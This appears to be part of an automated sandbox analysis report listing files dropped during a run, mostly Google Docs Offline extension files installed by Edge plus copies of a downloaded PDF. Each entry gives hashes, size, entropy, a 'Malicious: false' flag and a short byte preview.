MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\Downloads\Documents about company information and job descriptions (2).pdf (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\Downloads\Unconfirmed 283202.crdownload (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Users\user\Downloads\aeab1369-8def-4f0c-85ca-8741c36233fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	656088
Entropy (8bit):	7.994208869820549
Encrypted:	true
SSDEEP:	12288:r/TWRciaGbqp+t4v1TxPDt75QhxfR4/xFSnhfCsP10+:jTgc3Iq+0hxLt75Q6ZFShf/Pm+
MD5:	19E87DB70542A9FA556C1412E35FC300
SHA1:	B74FE6AB84969B938BF76E2A780546CFC727EAFB
SHA-256:	CF41E7881EC4A232F462EF0FC0E15C409619D18B3A8A84B49768268505AF80E3
SHA-512:	3983D20EF020BCAED0A3269CAE844B35BFCC99558820697517D4C9BDBD886D425A3236D08DB9194E816F0AACE2E6DDEFF0F95A693B4ED7FC3B91EBA018CEF440
Malicious:	false
Preview:	%PDF-1.7.%.....18 0 obj.<<./Length 293./N 3./Filter /FlateDecode.>>.stream.x.}..J......(.....28.h..iRpi"..V..S..A.OHS..tspu+....c(....#....AR.x.......@.....?..F..[V[..G@`...dK..$...O.K..o...@...6..`.O.,f'..O. .a.sx.0A..6..vf...8....{c7..%op..Z.:u.....Q.......0Q.F.........(.S....DGACAa..j.g.rx....]..s...PxM.......c...vhO.<..v....-X}...b3~.......mDJH.T~...K..endstream.endobj.19 0 obj.<<./Type /XObject./Subtype /Image./Width 2400./Height 1363./ColorSpace /DeviceRGB./BitsPerComponent 8./ColorTransform 0./Filter [/FlateDecode /DCTDecode]./DecodeParms [null <<./Quality 45.>>]./Length 11488.>>.stream.x..}}p..y.}. ....:..4nA'`........I..e.....T].).E.!....&u..9.&k.0-.]A.......m...V.Lf.FP..!.4M..Q.......M......gw...=H....x.....o...........x&qj......F.3.}...O......}.?.......}.....~lq.-,}.g?....K......>......\_.....I..f.x.........G.....w....\:~9.\|.".h2.h..7..5.Hf.._B.K.....G...:A>..D.N......y........Sg.g....=..+..~.+.~...............N.wtl\|..O..O......CO........B.r...\|..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469538600471923
Encrypted:	false
SSDEEP:	6144:uzZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNqjDH5S:wZHtYZWOKnMM6bFpoj4
MD5:	524FE92EDDB0C52E1A01785E6238FBD5
SHA1:	86336C5C276C2C363723315927FF4EB22E71CE0E
SHA-256:	FEA4A3326F702B20209DB47A1227B3A798F8CCAA1773170FDE0A1AE3565AAC20
SHA-512:	B3AD02D964977E05EF54876EE9E446B5296E2A82630F342B2196A0ABA6F4D0EB6DF6767A88284EA0D4A10FD13BA1155906D893743FF54D372290E058B5397B9F
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.}d.tP..............................................................................................................................................................................................................................................................................................................................................tGr.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

